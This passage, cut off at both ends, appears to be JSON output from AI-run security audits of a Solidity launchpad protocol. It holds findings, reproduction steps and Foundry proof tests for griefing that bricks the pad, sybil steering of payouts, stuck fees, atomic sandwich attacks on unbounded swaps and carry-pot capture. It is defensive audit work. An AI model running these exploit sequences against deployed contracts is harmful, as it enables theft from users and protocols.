a;\n            assembly (\"memory-safe\") {\n                mstore(add(buf, 53), i)\n                a := and(keccak256(add(buf, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n            }\n            if (a & 0x3FFF == 0x2000) return bytes32(i);\n        }\n        revert(\"no salt\");\n    }\n\n    function test_strangerMintThenSilenceBricksPadForever() public {\n        // 1. Any wallet mints one free Imp on the genesis game: the 10-minute signup starts.\n        vm.prank(STRANGER);\n        pvp.mint();\n\n        // 2. Nobody rolls for 20 minutes (10 min signup + 10 min death): all dead, no ETH raised.\n        vm.warp(vm.getBlockTimestamp() + 20 minutes);\n        assertTrue(pvp.ended(), \"ended\");\n\n        // 3. Permissionless finalize + graduate mark the genesis launch failed.\n        pvp.poke(); // finalizes (living == 0)\n        pvp.poke(); // graduates -> failed (ethRaised == 0)\n        assertTrue(pvp.failed(), \"genesis failed\");\n        assertFalse(pad.genesisGraduated(), \"never graduates\");\n\n        // 4. The pad is now closed forever: no launch, no king, no path to recover.\n        vm.deal(address(this), 1 ether);\n        vm.expectRevert(bytes(\"king not open\"));\n        king.takeCrown{value: 0.01 ether}();\n\n        // Expected: the pad must still be usable after a griefed genesis. Actual: reverts forever.\n        vm.warp(vm.getBlockTimestamp() + 365 days);\n        pad.launch(\"Next\", \"NXT\", \"\");\n        assertGt(pad.launchCount(), 1, \"pad usable after genesis failure\");\n    }\n\n    receive() external payable {}\n}","reproduction":"State: five contracts deployed, owner called openPad(salt). Sequence: (1) vm.prank(0xBAD); pvp.mint() -> firstMintAt set, signup starts. (2) warp +20 minutes with no roll() by anyone. (3) pvp.poke() twice (or finalize()+graduate()): living == 0, ethRaised == 0 -> failed = true. (4) pad.genesisGraduated() == false forever; pad.launch(\"Next\",\"NXT\",\"\") reverts 'genesis not graduated' even 365 days later; king.takeCrown{value: 0.01 ether}() reverts 'king not open'. Expected: a griefed genesis must not permanently disable the pad (restart or tolerant gating). Actual: permanent closure at zero cost to the griefer. Proof: test/scratch/GenesisGrief.t.sol fails on current code with 'genesis not graduated'.","severity":"high","snippet":"        return g.graduated() && !g.failed();","title":"Any wallet's free genesis mint plus 20 minutes of silence marks PvP failed and closes the pad forever (launch, king, burns)"},{"citation":"resolved","description":"PvPPad.fundGames (PvPPad.sol:146-165) splits the king's 'extra' among live games with >= 5 Imps 'by pot size' (share = msg.value * pots[i] / total, PvPPad.sol:161), where pots[i] is PadGame.pot. PadGame.fundPot() has no caller restriction, launch() is free and permissionless after genesis, and Imps are free (one per wallet). An attacker therefore: launches a game, mints 5 Imps from 5 wallets, keeps one Imp rolling (0.002 ETH per 10 min) so the game stays live, and calls fundPot() with a large amount X on its own game. Because every Imp in that game is the attacker's, X comes back to the attacker's wallets at finalize (ranks get 100% of the pot when no bell rings; the finalizer fee is capped at 0.005 ETH and the attacker can be the finalizer). The donation costs nothing but gas and makes the attacker's weight dominate, so an honest live game receives almost none of the king's share. Seam access x economics x asymmetry: the guard on takeCrown/fundGames is correct, the formula is correct, but the actor who can set the weight (anyone, via fundPot) is also the one who collects it. The same loop lets a bidder who runs a sybil game recover ~50% of its own 'extra', paying effectively half of what an honest king pays. Suggested fix preserving the design: weight by roll-earned pot only (track roll contributions separately from fundPot/carry/king top-ups), or restrict fundPot to the pad and the king contract.","line":214,"path":"src/PadGame.sol","reproduction":"State: genesis graduated. Honest launch A with 5 Imps and 2 rolls (pot 0.00032 ETH); attacker launch B with 5 sybil Imps and 1 roll (pot 0.00016 ETH). Attacker calls gb.fundPot{value: 5 ether}(). Bidder calls king.takeCrown{value: 1 ether}() -> games share 0.5 ETH. Expected: B receives at most 0.5 * 0.00016 / 0.00048 = 0.0279 ETH (its roll-earned weight). Actual: B receives 0.49973 ETH and A receives 0.00027 ETH (measured in test/scratch/KingShareSteer.t.sol, which fails on current code). The 5 ETH plus 0.4997 ETH then flow back to the attacker's wallets at finalize minus at most 0.005 ETH fee.","severity":"medium","snippet":"    function fundPot() external payable {\n        require(!finalized, \"finalized\");\n        pot += msg.value;\n        emit PotFunded(msg.sender, msg.value);\n    }","title":"King's 50% games share is steerable to an attacker's sybil game: fundPot() is open to anyone and pot size is the weight"},{"citation":"resolved","description":"PvPPad.upkeep() passes msg.sender as the upkeep caller (PvPPad.sol:171-173) and PadGame.upkeepStep(caller) pays the finalizer fee (0.5% of the pot, max 0.005 ETH) to that caller via PadGame._finalize -> _pay(finalizer, fee) (PadGame.sol:430). When the state-changing call that finalizes a due game is KingOfThePad.takeCrown(), the caller is the KingOfThePad contract itself: PadLib.push to it fails (no receive/fallback), so the game records claimable[KingOfThePad] += fee, and KingOfThePad has no function that calls PadGame.claim(). The ETH is unrecoverable. Asymmetry: PvPPad.launch() and every PadGame entry forward the human msg.sender as the fee recipient; takeCrown is the one path that forwards a contract that cannot receive. Fix: KingOfThePad.takeCrown should call pad.upkeepFor-style entry with msg.sender as the beneficiary (e.g. make PvPPad.upkeepFor accept calls from the king contract), or add a receive()+claim forwarding in KingOfThePad.","line":89,"path":"src/KingOfThePad.sol","reproduction":"State: genesis graduated; launch A with one Imp that rolled once and pot topped up to >1 ETH (any pot >= 1 ETH makes fee = 0.005 ETH; smaller pots lose 0.5%); game A ended (10 min after the roll) and pending rolls resolved but not finalized. Call king.takeCrown{value: 0.01 ether}() from any wallet. Expected: the finalizer fee goes to the bidder (the human who triggered upkeep) or stays in the pot. Actual: ga.claimable(address(king)) == 0.005 ETH, ga.claimable(bidder) == 0, and no code path can ever claim it (test/scratch/KingFeeStuck.t.sol fails on current code with '5000000000000000 != 0').","severity":"medium","snippet":"        pad.upkeep();","title":"takeCrown() runs pad.upkeep() with KingOfThePad as the caller, so finalizer fees paid in that upkeep are stuck forever in the game's claimable[KingOfThePad]"},{"citation":"resolved","description":"Seam access x economics: distribute(n) is callable by anyone (directly, via KingOfThePad.distribute, and inside every upkeep), and the token sale it performs uses sqrtPriceLimit = MAX with no minimum ETH out. The caller can sandwich the protocol's own sale; the loser is the king (fees are sent to the king). With a 1% pool fee the sandwich is unprofitable while the sale (SELL_CHUNK = 2M tokens) is below ~2% of the pool's token reserve (first-order profit ~ A * (V/R - 2*fee), A = attacker size, V = 2M, R = token reserve): at graduation R = 200M so V/R = 1% < 2%, which matches docs/AUDIT.md item 8. But R shrinks as the token is bought: at 4x the graduation price R ~ 100M and V/R = 2%; at 16x R ~ 50M and V/R = 4%, so an attacker selling A = 10M tokens ahead of a 2M-token distribute sale and buying back after nets roughly 10M * (0.04 - 0.02) = 200k tokens (~0.4% of the king's pending payout per pool per call, repeatable every upkeep). Not a bypass of any guard, and the same tokenStash keeps accumulating, so this is reported as a quantified limit of the accepted risk rather than a defect of the stated design. A minimum-out derived from the pool's pre-swap price (or selling only when the chunk is below a fraction of reserve) would keep the design.","line":263,"path":"src/PadLiquidity.sol","reproduction":"State: pool P for a graduated token with token reserve R = 50M (price 16x graduation), PadLiquidity holding tokenStash >= 2M tokens of P. Attacker tx bundle on the same block: (1) swap 10M tokens -> ETH in P (price down), (2) call king.distribute(1) which sells 2M tokens at the depressed price with MAX price limit, (3) swap ETH -> tokens back. Expected (with a min-out bound): step 2 reverts or sells at no worse than the pre-bundle price minus a tolerance. Actual: step 2 always executes; the king receives less ETH by the attacker's gain minus fees. Not reproduced against the real PoolManager in this budget (the repo only has a mock); the arithmetic above is from the constant-product model.","severity":"low","snippet":"                int256 d = poolManager.swap(key, SwapParams(false, -int256(sell), MAX_SQRT_PRICE_LIMIT), \"\");","title":"distribute()'s token-side sale has no price bound; sandwich becomes profitable once a pool's token reserve falls under ~100M (docs accept it only 'at the margin')"},{"citation":"resolved","description":"Access x asymmetry seam: distribute() pays whoever is king at payout time, and takeCrown() changes the king and then calls pad.upkeep() (KingOfThePad.sol:89), which calls liquidity.distribute(2) (PvPPad.sol:192). Fees that accrued during the previous king's reign but were not yet collected (upkeep collects only 2 pools round-robin per call, so with more than 2 pools a backlog always exists) are paid to the new king. The brief says 'send all to the current king', so this is design-conformant; it is reported because the old king cannot protect the backlog except by calling distribute(poolCount) every block, and the sweep is executed by the challenger's own transaction. If the author wants fairness, collect fees for the old king before switching the king in takeCrown (call liquidity.distribute(poolCount) before king = msg.sender), or checkpoint.","line":180,"path":"src/PadLiquidity.sol","reproduction":"State: genesis graduated, 1 pool with accrued fees (e.g. after burnChunk swapped 0.02 ETH, fees1 accrued), king K1 holds the crown for 1 hour, no distribute call since the fees accrued. K2 calls king.takeCrown{value: 1.1 * bid}(). Expected (fair accrual): K1 receives the fees accrued during its reign. Actual: inside takeCrown, pad.upkeep() -> distribute(2) pays the whole accrued amount to K2 (observed in test/scratch/KingFeeStuck.t.sol: the new bidder's balance rises by 0.0004 ETH of PvP-pool fees in the same takeCrown call).","severity":"low","snippet":"        address k = king == address(0) ? address(0) : IKingView(king).king();","title":"Dethroning sweeps the previous king's uncollected LP fees to the new king in the same transaction (pad.upkeep() inside takeCrown)"},{"citation":"resolved","description":"Trust assumption, not a bypass: PvPPad.bindLiquidity (PvPPad.sol:65-69), PvPPad.startGenesis (PvPPad.sol:72-78) and PadLiquidity.bindKing (PadLiquidity.sol:102-106) accept any first caller. If the five contracts were ever deployed in separate transactions (a rehearsal, a redeploy, a different factory), a front-runner could bind itself as liquidity (receives every game's graduation ETH and tokens) or as king (PadLiquidity.distribute pays IKingView(attacker).king()). Under the brief's one-transaction factory deployment there is no window, and the protected tests deploy in one call, so no finding is raised; documenting so the deployment policy is understood as the guard. A cheap hardening that keeps the design: require(msg.sender.code.length == 0) is wrong for constructors, but PvPPad could record the expected binder as the factory's next CREATE address, or the constructors could pass the owner and the binders check tx.origin-free provenance via the earlier contract's immutable addresses.","line":65,"path":"src/PvPPad.sol","reproduction":"State: PvPPad deployed in tx 1, PadLiquidity not yet deployed. Attacker calls pad.bindLiquidity() -> liquidity = attacker; later the real PadLiquidity constructor reverts 'bound' and the launch is parked. Expected under the brief's atomic deployment: impossible (no tx can run between constructors). Reported as a trust assumption only.","severity":"info","snippet":"    function bindLiquidity() external {\n        require(liquidity == address(0), \"bound\");\n        liquidity = msg.sender;","title":"bindLiquidity(), bindKing() and startGenesis() are unguarded one-shot binders that rely entirely on single-transaction deployment"}],"hash":"79b3941382c2adf044a750855d360a9e3874f2a921a02da57ee73008c6a4d40d","nodeId":"8f53c09c-2b10-4c1f-aeee-b9c2c413e0bc","outcome":"completed","summary":"All six snippets match the tree, the project's 56 tests still pass, and the three scratch proofs fail on the current code for the stated reasons. The review is complete and recorded in `.imd-findings.json`.\n\n**Scope covered.** Access Control, Trust Gap and Asymmetry passes over all five contracts, the hook and the library, with a coverage row for every one of the 34 listed entry points plus two invariants. Nothing was left unreached. I did not exercise the real Uniswap v4 PoolManager (the repo only has a mock), so the sandwich arithmetic in finding 4 is from the constant-product model, and I did not go deep on RNG quality or curve math, which belong to other specialists.\n\n**Findings, most severe first:**\n\n1. **High. A stranger's free genesis mint plus 20 minutes of silence bricks the pad forever.** Anyone can call `mint()` on the genesis game at any moment after `openPad`. If no one rolls within the signup plus death window, permissionless poke marks PvP failed, and `genesisGraduated()` stays false forever, so `launch`, `takeCrown` and burns never open. The docs accept the literal gating but assume the owner controls when genesis starts. Proof test fails with `genesis not graduated`.\n\n2. **Medium. King's 50% games share is steerable to a sybil game.** `fundPot()` is open to anyone and its balance is the weight `fundGames` uses. An attacker with 5 free Imps on its own launch donates to its own pot, takes almost the whole share, then gets the donation back at finalize. Measured: sybil game received 0.4997 ETH of a 0.5 ETH share, the honest game 0.00027 ETH. Proof test included.\n\n3. **Medium. Finalizer fee stuck in the king contract.** `takeCrown` calls `pad.upkeep()`, so the king contract becomes the finalizer-fee recipient of any game finalized in that upkeep. The push fails, the fee lands in the game's `claimable[KingOfThePad]`, and nothing can ever claim it. Measured 0.005 ETH stuck. Proof test included.\n\n4. **Low. `distribute()` token sale has no price bound.** Accepted in the docs \"at the margin\"; I quantified the margin: the sandwich turns profitable once a pool's token reserve drops under roughly 100M tokens, which a 4x price move produces.\n\n5. **Low. Dethroning sweeps the old king's uncollected fee backlog to the new king** inside the challenger's own transaction. Spec-conformant, reported for awareness.\n\n6. **Info. `bindLiquidity`, `bindKing` and `startGenesis` are unguarded one-shots** that rely entirely on single-transaction deployment.\n\nScratch tests live under `test/scratch/` and are not part of the submission. No repository file was modified.","treeHash":null,"usage":{"cachedInputTokens":3128432,"inputTokens":1058,"model":"claude-fable-5-1","outputTokens":44919,"runtime":"claude","turns":34,"wallClockMs":690397}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1f9cb1750ebf47ed","findings":[{"citation":"resolved","description":"Every economic flow of the pad is gated on genesisGraduated(): PvPPad.launch (line 102), KingOfThePad.takeCrown (line 57) and PadLiquidity.burnChunk (poolIndexOf[1]). genesisGraduated() is true only if the PvP game graduated AND did not fail. PadGame._graduate marks the game failed whenever ethRaised == 0 (PadGame.sol:453-454), which happens if no roll is made during the single 10-minute play window that follows the first mint's 10-minute signup. There is no second genesis, no re-arm and no owner action: PvPPad has no function that creates another genesis launch or clears the gate, so the whole protocol (every later launch, the king auction, the burn) is dead forever. The window is opened by whoever mints first (free, anyone, as soon as openPad lands), so an attacker can start the clock at a moment of their choosing, e.g. right after openPad, and the pad survives only if someone pays 0.002 ETH within 10..20 minutes of that mint. This is a liveness/economic gap in the Flow Gap sense: each step (mint, death, finalize with living 0, graduate as failed) is correct in isolation, but the end state contradicts the protocol's purpose (a launchpad that can launch).","line":206,"path":"src/PvPPad.sol","reproduction":"State: deployed, owner called openPad(salt). Calls: (1) attacker: PadGame(pad.gameOf(1)).mint() -- firstMintAt set, signup starts. (2) nobody rolls for 20 minutes (play window 10..20 min after the mint). (3) anyone: pvp.poke() -> _finalize: ended() (maxActivity+DEATH), living 0, pot 0. (4) anyone: pvp.poke() -> _graduate: ethRaised == 0 -> failed = true, graduated = true. Now pad.genesisGraduated() == false forever. pad.launch(\"Any\",\"ANY\",\"\") reverts 'genesis not graduated'; king.takeCrown{value: 1 ether}() reverts 'king not open'; PadLiquidity.burnChunk is a no-op (poolIndexOf[1]==0); the genesis game itself reverts roll() with 'game over'. After warping 3650 days the same calls still revert, also from the owner. Expected: a failed PvP should be recoverable (e.g. PvPPad re-creates the genesis launch when launch #1 failed, or failed genesis does not gate the pad). Demonstration test (passes on current code, proving the brick): test/scratch/GenesisBrick.t.sol in this submission's reproduction notes; run with forge test --match-path test/scratch/GenesisBrick.t.sol.","severity":"medium","snippet":"        return g.graduated() && !g.failed();","title":"A failed genesis game permanently bricks launch(), takeCrown() and the burn: one free mint plus 20 minutes of silence, no recovery path"},{"citation":"resolved","description":"burnChunk() swaps up to 0.02 ETH of the burn bucket for PvP with sqrtPriceLimit = MIN_SQRT_PRICE_LIMIT (unlockCallback line 278), i.e. no slippage bound, and distribute() sells up to 2,000,000 tokens of fees with MAX_SQRT_PRICE_LIMIT (line 263), also unbounded. Both are executed inside PvPPad._upkeep (lines 192-193), which anyone can call via PvPPad.upkeep(). An attacker therefore does not need a mempool race on the FCFS Arbitrum-stack sequencer: in ONE transaction they buy PvP in the pool, call pad.upkeep() (which runs burnChunk as soon as lastBurnAt + 10 min has passed and burnBucket > 0), then sell back. The 0.02 ETH cap only protects pools that are deep relative to it. The PvP pool is seeded with exactly ethRaised of the genesis game, which can be as small as one roll (0.0018 ETH), and the burn bucket is fed by every later roll's 2% and 25% of every king 'extra', so a small PvP pool plus a continuous burn stream is the realistic state. Economics with constant-product and the pool's 1% fee, PvP raised 0.0018 ETH (pool: 0.0018 ETH / ~1.79M PVP), burnBucket >= 0.02 ETH: attacker buys with 0.01 ETH -> ~1.52M PVP (pool 0.0118 ETH / 0.27M); burnChunk buys with 0.02 ETH -> only ~0.17M PVP go to dEaD (pool 0.0318 ETH / 0.10M); attacker sells 1.52M -> ~0.0295 ETH. Attacker net ~ +0.0191 ETH per chunk (minus ~0.0004 ETH fees that accrue to the king's position); the burn destroys ~1/9 of the PVP it would have without the sandwich. Repeatable every 10 minutes while the bucket lasts; the same shape applies to distribute's token sale (attacker sells first, upkeep sells 2M at the depressed price, attacker buys back), paying the king less. Who loses: PvP holders (burn bucket value diverted) and the current king (fee ETH). Precondition: PvP pool small relative to 0.02 ETH / 2M tokens; with a sold-out 4 ETH pool the 1% fee makes the sandwich unprofitable, so severity is conditional (medium).","line":219,"path":"src/PadLiquidity.sol","reproduction":"State: PvP graduated after few rolls (ethRaised e.g. 0.0018 ETH -> pool reserve0 ~0.0018 ETH), burnBucket >= 0.02 ETH (fundBurn is payable by anyone, or accumulated from rolls / king extra), lastBurnAt + 10 min elapsed. Attacker contract, one tx: (1) poolManager.unlock -> swap(zeroForOne=true, exactIn 0.01 ETH) on PoolKey(0, PVP, 10000, 200, hook); (2) pad.upkeep() -> _upkeep -> liquidity.burnChunk() swaps 0.02 ETH at the inflated price with limit MIN_SQRT_PRICE_LIMIT; (3) poolManager.unlock -> swap(zeroForOne=false, exactIn all PVP bought). Expected: the protocol swap should be bounded (e.g. a max price deviation from a recorded pre-swap price, or a minimum output derived from pool reserves) or not be triggerable in the same tx as arbitrary user swaps; actual: attacker ends with ~0.0191 ETH more than they started with (numbers above, x*y=k with 1% fee), while only ~0.17M instead of ~1.6M PVP are burned. Reproduce numerically with the repository's MockPoolManager (constant product, 1% fee): graduate PvP after a single roll, fundBurn 0.02 ETH, warp 10 min, perform the three steps above through a helper that implements unlockCallback; compare attacker ETH before/after and the PVP balance of 0xdEaD against a run without steps (1) and (3). MEASURED with the repository's MockPoolManager (constant product, 1% pool fee) in test/scratch/Sandwich.t.sol (BaseTest-derived, verification only): PvP graduated after 12 rolls, pool reserve0 = 41,399,999,784,000,001 wei (0.0414 ETH), burnBucket = 0.02 ETH, lastBurnAt + 10 min elapsed. Baseline pad.upkeep(): 9,898,194,188,526,490,585,067,002 PVP (9.90M) sent to dEaD. Sandwich in one tx by a helper contract: buy with 0.01 ETH -> pad.upkeep() -> sell everything bought: attacker ETH 1.000000000000000000 -> 1.011799681732766343 (+0.01180 ETH, i.e. 59% of the 0.02 ETH burn chunk captured) and only 5,477,496,911,672,539,104,244,809 PVP (5.48M, 45% less) burned. Any address can repeat this every 10 minutes while the bucket is funded.","severity":"medium","snippet":"        bytes memory res = poolManager.unlock(abi.encode(ACT_BURN, poolKey(pools[poolIndexOf[1] - 1].token), amount));","title":"burnChunk and distribute swap with no price bound and are triggerable by anyone through upkeep(): atomic self-sandwich drains the burn bucket (and the king's fee sales) in a thin PvP pool"},{"citation":"resolved","description":"KingOfThePad.takeCrown ends with pad.upkeep(). PvPPad.upkeep() forwards msg.sender as the upkeep 'caller' (PvPPad.sol:171-173: _upkeep(msg.sender)), and PadGame.upkeepStep(caller) passes it to _finalize(caller), which pays the 0.5% finalizer fee (max 0.005 ETH) to that address with a gas-capped push and otherwise books it in claimable[caller]. For this path caller == address(KingOfThePad): the contract has no receive/fallback, so the push fails and the fee is stored in PadGame.claimable[KingOfThePad]. KingOfThePad has no function that calls PadGame.claim(), so the fee is stranded forever: the bidder who paid for the finalization work gets nothing and the pot's 0.5% leaves the economy. Every game that is 'due' when a crown is taken (the latest launch and the round-robin one) loses its fee this way. The intended design (brief: 'Finalizer gets 0.5% of the pot') and the games' own upkeepFor(msg.sender) path show the caller should have been the bidder. Fix: pad.upkeepFor-style call with msg.sender, or give KingOfThePad a way to forward/claim.","line":89,"path":"src/KingOfThePad.sol","reproduction":"State: PvP graduated; launch #2 created and played to its end (ended() true, finalized false, pot > 0, e.g. pot = 4.308e15 wei from 12 rolls). Call: players[5] -> king.takeCrown{value: 0.01 ether}(). Trace: takeCrown -> pad.upkeep() -> _upkeep(KingOfThePad) -> _tend(launches[1].game) -> upkeepStep(KingOfThePad) -> _finalize(KingOfThePad) -> fee = pot*50/10000 = 21,540,000,000,000 wei -> PadLib.push(KingOfThePad, fee) fails (no receive) -> claimable[KingOfThePad] += fee. Actual: game2.claimable(address(king)) == 21540000000000 and no code path can withdraw it. Expected: the fee reaches the bidder (players[5]) or stays with the pot/carry. Proof test attached: test/scratch/StrandedFee.t.sol fails on this code at 'fee stranded on KingOfThePad: 21540000000000 != 0'.","severity":"low","snippet":"        pad.upkeep();","title":"Finalizer fee of games finalized inside takeCrown's upkeep is credited to the KingOfThePad contract, which can never claim it"},{"citation":"resolved","description":"roll() checks require(!ended()) at line 145 BEFORE it resolves the caller's previous pending roll at line 149. If that pending roll takes the Imp to +-50, _resolveRoll sets bellAt = block.timestamp and ended() becomes true immediately, but execution continues: the 0.002 ETH is split, 90% buys tokens from the curve, the pot grows, a new Roll is pushed and pendingCount is incremented, all after the game is over. Consequences: (a) a curve purchase and pot contribution after the end, so the finalized pot and graduated curve differ from the state at the bell; (b) _finalize waits for pendingCount == 0, and when the post-end roll resolves it changes the bell ringer's height (e.g. 50 -> 46 on a -4) and heightReachedAt, so the ranking is computed from a height reached after the end, contradicting 'play until the bell'; (c) a roll in the same transaction as the all-dead or hard-end boundary is not affected (ended() is evaluated first there), so this is specific to the self-resolution path. Fix: resolve the pending roll first and re-check ended(), or revert when the resolution ended the game.","line":149,"path":"src/PadGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\n\n/// @dev ArbSys stand-in: hashes deterministic from the block number, served only inside the 256-block window.\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function set(uint256 n) external {\n        number = n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ncontract Deployer {\n    PadToken public token;\n    PadGame public game;\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n    KingOfThePad public king;\n\n    function deployAll(address owner, address poolManager) external {\n        token = new PadToken();\n        game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(poolManager, address(pad));\n        king = new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\n/// @notice A roll whose own pending-roll resolution rings the bell is still recorded after the game ended.\ncontract RollAfterBellTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    ArbSysStub arb;\n    PvPPad pad;\n    PadLiquidity liq;\n    PadGame pvp;\n    address alice = address(0xA11CE);\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        arb.set(1000);\n        Deployer d = new Deployer();\n        d.deployAll(OWNER, address(0xBEEF));\n        pad = d.pad();\n        liq = d.liquidity();\n        pvp = PadGame(pad.gameOf(1));\n        vm.deal(alice, 10 ether);\n        // open the pad with a mined salt\n        bytes32 h = liq.hookInitCodeHash();\n        bytes memory buf = abi.encodePacked(bytes1(0xff), address(liq), bytes32(0), h);\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            uint256 a;\n            assembly (\"memory-safe\") {\n                mstore(add(buf, 53), i)\n                a := and(keccak256(add(buf, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n            }\n            if (a & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n    }\n\n    /// @dev Outcome PadGame._resolveRoll computes for a roll of `imp` with `nonce` committed at block `c`.\n    function deltaFor(uint256 imp, uint256 nonce, uint256 c) internal view returns (int256) {\n        bytes32 h1 = keccak256(abi.encode(\"arb\", c + 1));\n        bytes32 h2 = keccak256(abi.encode(\"arb\", c + 2));\n        bytes32 h3 = keccak256(abi.encode(\"arb\", c + 3));\n        uint256 rand = uint256(keccak256(abi.encode(address(pvp), imp, nonce, h1, h2, h3)));\n        uint256 face = rand % 8;\n        return face < 4 ? -int256(face + 1) : int256(face - 3);\n    }\n\n    /// @dev Picks the next commit block (>= current) whose roll outcome equals `want`, and sets ArbSys to it.\n    function setCommitFor(uint256 imp, uint256 nonce, int256 want) internal {\n        uint256 cur = arb.number();\n        for (uint256 k; k < 400; ++k) {\n            if (deltaFor(imp, nonce, cur + k) == want) {\n                arb.set(cur + k);\n                return;\n            }\n        }\n        revert(\"no commit\");\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.set(arb.number() + secs * 3); // ~3 L2 blocks per second keeps the previous roll inside the hash window\n    }\n\n    function test_rollIsRecordedAfterItsOwnResolutionEndsTheGame() public {\n        vm.prank(alice);\n        pvp.mint();\n        advance(10 minutes);\n        // 12 rolls of +4 -> height 48 (each roll resolves the previous one)\n        for (uint256 i; i < 12; ++i) {\n            setCommitFor(0, i, 4);\n            vm.prank(alice);\n            pvp.roll{value: 0.002 ether}();\n            advance(61);\n        }\n        // the 13th roll will give +4 -> 50 -> bell when resolved\n        setCommitFor(0, 12, 4);\n        vm.prank(alice);\n        pvp.roll{value: 0.002 ether}();\n        advance(61);\n        assertEq(pvp.getImp(0).height, 48);\n        assertFalse(pvp.ended());\n\n        // 14th roll: resolves roll #13 (bell rings, game ends) and must then NOT be recorded.\n        // Its own commit is chosen to resolve to -4 so the post-end effect is visible.\n        setCommitFor(0, 13, -4);\n        uint256 rollsBefore = pvp.rollCount();\n        uint256 potBefore = pvp.pot();\n        uint256 tokBefore = PadToken(pad.tokenOf(1)).balanceOf(alice);\n        vm.prank(alice);\n        try pvp.roll{value: 0.002 ether}() {} catch {}\n        pvp.poke(); // resolve anything still pending (bell roll if the roll above reverted)\n        assertTrue(pvp.ended(), \"game ended by the bell\");\n        assertTrue(pvp.bellRang(), \"bell\");\n        // Expected: no roll, no curve buy and no pot change after the game ended.\n        assertEq(pvp.rollCount(), rollsBefore, \"roll recorded after game over\");\n        assertEq(pvp.pot(), potBefore, \"pot grew after game over\");\n        assertEq(PadToken(pad.tokenOf(1)).balanceOf(alice), tokBefore, \"tokens sold after game over\");\n        // and the final height stays at the bell height\n        advance(5);\n        pvp.poke();\n        assertEq(pvp.getImp(0).height, 50, \"height changed by a post-end roll\");\n    }\n}","reproduction":"State: pad open, one Imp (alice) in PvP; with the ArbSys stub the outcome of a roll committed at block c is keccak(game, imp, nonce, H(c+1), H(c+2), H(c+3)) % 8, so the test picks commit blocks that yield +4. Calls: 12 x roll() 61 s apart -> height 48 (each roll resolves the previous); 13th roll() with a +4 commit, left pending; 61 s later roll() again (commit chosen to resolve -4). Actual: the call succeeds; inside it the 13th roll resolves to 50, Bell is emitted, ended() is true, yet rollCount goes 13 -> 14, pot grows by 0.00020 ETH, alice receives curve tokens, pendingCount == 1; after 4 blocks poke() resolves the 14th roll and alice's height is 46 with bellRang() true. Expected: the roll reverts 'game over' (or is not recorded): rollCount stays 13, pot and token balance unchanged, final height 50. Proof: test/scratch/RollAfterBell.t.sol fails on this code with 'roll recorded after game over: 14 != 13'.","severity":"low","snippet":"        if (imp.pendingRoll != 0) _resolveRoll(imp.pendingRoll - 1);","title":"roll() accepts and records a roll after the game has ended when the Imp's own pending roll rings the bell in the same call"},{"citation":"resolved","description":"The accumulated carryPot (dust, pots of games where nobody survived, and the king's 50% share whenever no game is live) is paid in full to the next game at creation (lines 122-127). launch() is permissionless after PvP graduates, PadGame.mint() is free, has no EOA/anti-Sybil check and only limits one Imp per address with a 200 cap (PadGame.sol:122-123). An attacker contract can therefore, atomically: pad.launch(...) -> receive the whole carry into the new game's pot -> have 200 fresh helper contracts each call mint() in the same transaction, filling all 200 slots before any other wallet can enter. Then one of the attacker's Imps rolls once every <10 minutes until the 60-minute hard end (6 rolls = 0.012 ETH, 90% of which comes back as tokens), the other 199 die; at hardEnd living == 1, paid == 1, no bell -> the attacker receives 99.5% of the pot (0.5% finalizer fee, which they can also take by finalizing themselves). While the game is live it also has >= 5 Imps, so every takeCrown during the hour sends 50% of its 'extra' to this pot (weighted by pot size, so a large carry attracts the lion's share). Who loses: the honest next game / community the carry was meant for, and bidders whose 'extra' meant for live games goes to a captive game. Cost: ~200 mint gas + launch + 6 x 0.002 ETH; gain: carryPot + king shares during the hour. This follows from the brief's 'free, 1 Imp per wallet' design, so it is reported as an economic trust assumption with a concrete capture path rather than a code defect; a mitigation that keeps the design (e.g. spreading carry over several launches, or paying it at play start only if >= N distinct rollers exist) is a product decision.","line":125,"path":"src/PvPPad.sol","reproduction":"State: PvP graduated; carryPot = X > 0 (e.g. after a game ended with living == 0, or a king bid while no game was live: first bid 0.01 ETH -> 0.005 ETH carry). Attacker contract A with 200 helper contracts H_i, one tx: A calls pad.launch('X','X',''); game = pad.gameOf(id); game.pot() == X immediately; each H_i calls game.mint() (200 mints, impOf[H_i] set, imps.length == 200; a 201st wallet's mint reverts 'full'). Then: wait 10 min (signup), H_0 calls roll() at t+10m, +19m, +28m, +37m, +46m, +55m (lastActivity + 10 min > hardEnd at t+60m keeps H_0 alive). At t+60m: finalize() -> living == 1 (only H_0), paid == 1, rankShare = (X + 6*0.00016 ETH) * 0.995 pushed to H_0. Expected per brief: carry 'for the next game' reaches an open game; actual: a game nobody else could join.","severity":"low","snippet":"            IPadGame(game).fundPot{value: carry}();","title":"Carry pot and king game-share are capturable by a single actor: launch() + 200 free mints from throwaway contracts in one transaction locks everyone else out of the game that receives the 